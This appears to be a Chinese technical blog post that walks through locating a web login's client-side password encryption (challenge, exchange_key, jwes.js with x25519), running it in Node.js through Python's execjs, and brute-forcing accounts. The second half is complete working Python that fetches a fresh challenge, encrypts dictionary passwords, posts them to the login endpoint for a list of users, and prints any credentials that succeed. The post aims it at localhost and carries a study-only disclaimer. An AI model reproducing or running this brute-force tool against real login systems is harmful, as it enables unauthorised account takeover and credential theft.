当前位置:首页 > 技术 > 正文内容

前端登录加密逆向分析与密码爆破实战

访客 技术 2026年6月7日 1

背景概述

本文记录了一次针对前端登录加密机制的逆向分析与密码爆破实践,仅供技术学习参考。所有分析均基于公开可见的客户端代码。

定位登录加密逻辑

打开浏览器开发者工具(Ctrl+Shift+I),切换到网络(Network)面板。随意输入用户名和密码并提交登录请求,找到对应的请求记录,点击启动器(Initiator)中的蓝色链接,即可跳转至处理登录的 JavaScript 代码。

// 核心调用链路
FinishLogin → doStart() → 发送 GET 请求获取挑战值 → passwordLogin → encryptPassword

doStart() 方法中,发送了一个 GET 请求到:

api/source/${curItem.id}/start?login_name=${this.loginData[curItem.fields[0]]}

其中 curItem.fields[0] 对应输入的用户名。

从该接口的响应中提取出两个关键参数:

  • challenge:例如 "28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w"
  • exchange_key:例如 "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk"

接着检查是否有验证码逻辑,若无验证码则调用 passwordLogin 方法,并将 curItemchallengeexchange_key 传入。

加密函数分析

passwordLogin 方法中,核心加密调用为 encryptPassword(exchange_key, challenge, credentials["password"])。该函数位于单独的 jwes.js 文件中,并引用了 x25519.js

加密流程概括如下:

  1. 从服务器获取 challengeexchange_key
  2. 调用 jwes.js 中的 encryptPassword() 方法,传入上述三个参数进行加密。

爆破环境搭建

  • 安装 Node.js
  • Python 安装 execjs 模块:pip install execjs

jwes.js 文件下载到本地。文件中使用了 require("node-forge")import x25519 from "./x25519",因此需要安装相应依赖:

npm install node-forge

由于 import 语句在 Node.js 环境中可能无法直接运行,将 x25519.js 的全部代码直接粘贴至 jwes.js 中,并做如下调整:

  • 将内部变量改为全局变量
  • 将静态方法转为普通函数
  • 移除 export 导出语句

Python 代码实现

初始版本(仅加密测试)

import os
import execjs

os.environ["EXECJS_RUNTIME"] = "NodeJS"

with open("jwes.js", "r", encoding='utf-8') as f:
    ctx = execjs.compile(f.read(), cwd=r"D:\environment\NodeJs\node_modules")

pwd_list = []
with open("passwd.txt", "r", encoding='utf-8') as f:
    for line in f:
        pwd_list.append(line.strip())

for pwd in pwd_list:
    result = ctx.call('encryptPassword', 
                      "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk",
                      "28515141.AYiyasih6qkimRdswF8vhwTs5pGidzZCM18_JCwRe6w", 
                      pwd)
    print(result)

常见错误处理

错误1:window 未定义

ReferenceError: window is not defined

定位到 jwes.js 中使用了 window.crypto 生成随机数,将相关代码替换为:

function cryptoRandomBytes(length) {
  let array = new Uint8Array(length);
  return crypto.getRandomValues(array)
}

错误2:challenge 实时性问题

challenge 每次请求都会变化,无法在 JS 中直接获取。改用 Python 的 requests 模块从接口实时获取。

完整爆破代码

import json
import execjs
import requests

def encrypt_with_challenge(js_code, password):
    url = 'http://127.0.0.1/api/source/AlbdUKmU/start?login_name=admin'
    resp = requests.get(url)
    challenge = resp.json()['data']['challenge']
    
    ctx = execjs.compile(js_code, cwd=r"D:\environment\NodeJs\node_modules")
    return ctx.call("encryptPassword", 
                    "Phf6vzG7snJUhy7p-B6splD45vfhp0erZJpMhBni9mk",
                    challenge, 
                    password)

# 读取用户列表和密码字典
with open('jwes.js', 'r', encoding='utf-8') as f:
    js_content = f.read()

with open('./users', 'r', encoding='utf-8') as f:
    users = [line.strip() for line in f]

with open('passwd.txt', 'r', encoding='utf-8') as f:
    passwords = [line.strip() for line in f]

success_count = 0

for uname in users:
    print(f"尝试用户: {uname}")
    for pwd in passwords:
        encrypted_pwd = encrypt_with_challenge(js_content, pwd)
        
        post_data = {
            "login_name": uname,
            "password": encrypted_pwd
        }
        
        headers = {
            "User-Agent": "Mozilla/5.0 Firefox",
            "Accept": "application/json, text/plain, */*",
            "X-Requested-With": "XMLHttpRequest",
            "Content-Type": "application/json;charset=UTF-8",
            "Referer": "http://127.0.0.1/login"
        }
        
        rsp = requests.post("http://127.0.0.1/api/source/AlbdUKmU/finish",
                           headers=headers,
                           data=json.dumps(post_data))
        
        result = rsp.json()
        if result.get('status') == 'error':
            code = result.get('code', '')
            print(f"错误: {code}")
            if code == "UNKNOWN_ACCOUNT":
                break
        else:
            success_count += 1
            print(f"成功!用户名: {uname},密码: {pwd}")
            print(rsp.text)

print(f"共成功 {success_count} 组")
标签: 前端安全

相关文章

Linux crontab 详解

1) crontab 是什么cron 是 Linux 的定时任务守护进程;crontab 是用来编辑/查看“按时间周期执行命令”的表(cron table)。常见两类:用户 crontab:每个用户一份(crontab -e 编辑)系统级 crontab / cron.d:可指定执行用户(/etc/crontab、/etc/cron.d/*)2) crontab 时间...

富文本里可以允许的 HTML 属性

一、所有标签默认允许的安全属性(极少)class        (可选)id           (通常建议禁用)title️ 注意:id 容易被滥用做锚点注入,很多系统直接禁用class 允许的话最好只允许固定前缀(如 editor-*)二、a 标签允许属性<a href="" t...

Mac 安装 Node.js 指南

方法一:通过官网安装包(最简单,适合初学者)如果你只是想快速安装并开始使用,这是最直接的方法。访问 Node.js 官网。页面会显示两个版本:LTS (Recommended For Most Users):长期支持版,最稳定。建议选这个。Current:最新特性版,包含最新功能但可能不够稳定。下载 .pkg 安装包并运行。按照安装向导点击“下一步”即可完成。方法二:使用 Homebrew 安装(...

Dom\HTML_NO_DEFAULT_NS 的副作用:自动加闭合标签

在使用Dom\HTMLDocument时,Dom\HTML_NO_DEFAULT_NS 将禁止在解析过程中设置元素的命名空间, 此设置是为了与DOMDocument向后兼容而存在的。当使用它时,已知的一个副作用就是:自动加闭合标签例如 </img> 为什么会这样?当你使用:Dom\HTML_NO_DEFAULT_NS文档会变成 无命名空间模式,此时内部更接近 XML...

Laravel 事件和监听器创建

在 Laravel 中,使用 Artisan 命令创建 Events(事件) 和 Listeners(监听器) 是非常高效的。你可以通过以下几种方式来实现:1. 手动创建单个 Event如果你只想创建一个事件类,可以使用 make:event 命令:Bashphp artisan make:event UserRegistered执行后,文件将生成在 app/Even...

自定义域名解析神器 dnsmasq

什么是 dnsmasq?dnsmasq 是一个轻量级、功能强大的网络服务工具,专为小型和中等规模网络设计。它是一个综合的网络基础设施解决方案[1]。dnsmasq 能做什么?功能说明应用场景DNS 转发与缓存将 DNS 查询转发到上游服务器(ISP、Google DNS 等),并在本地缓存结果加快 DNS 查询速度,减少外部 DNS 流量本地 DNS解析本地网络设备的主机名,无需编辑&n...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。